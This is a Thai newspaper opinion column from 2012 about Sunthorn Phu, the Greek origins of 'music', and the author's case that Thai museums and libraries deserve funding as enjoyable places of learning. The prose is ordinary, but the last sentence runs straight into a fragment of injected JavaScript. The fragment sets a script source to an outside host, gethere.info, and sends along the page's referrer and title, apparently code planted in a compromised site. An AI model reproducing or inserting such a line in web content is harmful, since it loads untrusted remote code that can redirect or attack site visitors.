มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 26 กรกฎาคม 2555

 

          พระอภัยมณีเรียนวิชาดนตรีจนชำนาญเป่าปี่ แล้วเป่าปี่คลี่คลายและแก้ปัญหาความขัดแย้งที่เกิดขึ้นจนสำเร็จหลายครั้งโดยไม่ใช้ความรุนแรง

          สุนทรภู่คิดก้าวหน้ากว่าสังคมไทยยุคนั้นที่นักดนตรีไทยมีฐานะทางสังคมต่ำมากเสมอบ่าวไพร่ข้าทาสของมูลนายเท่านั้น

          ความคิดก้าวหน้าของสุนทรภู่เป็นอย่างไร? ผมได้ความรู้จากบทความเรื่อง เพลง, ดนตรี, Muse, Music, Museum ของ อ. ศิริพจน์ เหล่ามานะเจริญ (ที่พิมพ์ในพื้นที่สุวรรณภูมิฉบับวันนี้) จะสรุปย่อมาดังนี้

          music ในภาษาอังกฤษ มีรากศัพท์จากคำกรีกโบราณว่า mousike แปลว่า ดนตรี, ความรู้ (art) และทักษะ (techne)

          โดยสรุป พวกกรีกโบราณถือว่าดนตรีเป็นวิชาความรู้อย่างหนึ่ง

          วิชาความรู้ ตรงกับภาษาสันสกฤตว่า ศิลปะ และภาษาบาลีว่า สิปปะ (ปัจจุบันศิลปะมีความหมายเปลี่ยนไปเฉพาะงานวาด, ปั้น, พิมพ์ อย่าง fine art เท่านั้น) อ. ศิริพจน์ ยังบอกอีกว่า

          วลีอมตะของนายแพทย์กรีกผู้เรืองนามอย่างฮิปโปคราเตส (Hippocrates) ที่ว่า “ars longa, vita brevis” หมายถึง “ความรู้ยืนยาว ชีวิตสั้น”

          ความรู้ในความหมายของพวกกรีก มีศิลปะแขนงต่างๆรวมอยู่กับศาสตร์อื่นๆในนั้นด้วย

          ดังนั้น การที่คนไทยมักแปลคำนี้ว่า “ศิลปะยืนยาว ชีวิตสั้น” จึงเป็นเพียงการจำกัดความที่ตื้นเขินกว่าความเป็นจริง แต่ก็ไม่ใช่ผิดไปเสียทั้งหมด

          นานมาแล้วผมเคยถอดวลีวิชาความรู้ชุดนี้ของกรีกออกเป็นกลอน 4 บรรทัดว่า

          ชีวีนี้สั้นนักหนา          ศิลปวิทยายืนยาวยิ่ง

          รู้เท่าทันโลกชีวิตจริง    ทุกสิ่งย่อมเป็นไปเช่นนั้น

มิวเซียมไม่ใช่ห้องเรียน แต่เป็นแหล่งเรียนรู้อย่างรื่นรมย์สนุกสนานที่มีพลังสร้างสรรค์เพื่อ“รู้เขา รู้เรา รู้โลก” แต่รัฐบาลยังไม่รู้จักเอามาใช้งาน ภาพนี้ถ่ายจากห้องแสดงในพิพิธภัณฑสถานแห่งชาติ อู่ทอง จ. สุพรรณบุรี

          แหล่งความรู้ยุคโบราณมีเก็บไว้ในมิวเซียมและห้องสมุด อ. ศิริพจน์ อธิบายว่าโลกตะวันตกยกย่องมิวเซียมกับห้องสมุดเป็นแหล่งเรียนรู้ตั้งแต่ยุคดั้งเดิมสืบจนปัจจุบัน

          แต่ไทยให้นิยามพิพิธภัณฑ์เป็นที่เก็บของเก่าซึ่งเรียกโบราณศิลปวัตถุ โดยไม่ยกย่องเป็นแหล่งเรียนรู้

          ทั้งนี้เพราะไทยรับความคิดในยุคอาณานิคม ตั้งแต่ ร.4 เป็นต้นมา ของพวกลัทธินักสะสม (antiquity) ที่มุ่งอวดฐานะ (ความเป็นผู้ดี, กระฎุมพี, ศักดินา) หรืออ้างความเป็นอารยประเทศ

          นายกฯ และ รมต.วัฒนธรรม ควรรู้จงดีว่ามิวเซียมกับห้องสมุดเป็นแหล่งเรียนรู้ อย่างรื่นรมย์สนุกสนาน เพื่อให้ “รู้เขา รู้เรา รู้โลก” เป็นพลังผลักดันให้เกิดความคิดสร้างสรรค์ ทำ“โอท็อปสร้างสรรค์”ได้ดี เพื่อ “ครีเอทีฟ อีโคโนมี” เศรษฐกิจสร้างสรรค์

          ที่สำคัญคืออย่าหูเบา-ฟังความข้างเดียวจากพวกลัทธินักสะสมยุคอาณานิคมที่มีอำนาจควบคุมพิพิธภัณฑ์และห้องสมุดของไทย

          รัฐบาลต้องผลักดันสนับสนุนงบประมาณให้มิวเซียมกับห้องสมุดมีกิจกรรม“ความรู้อย่างรื่นรมย์”สนุกสนานสม่ำเสมอ ไม่ปล่อยให้เป็นโกดังตายซากอย่างทุกวันนี้s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;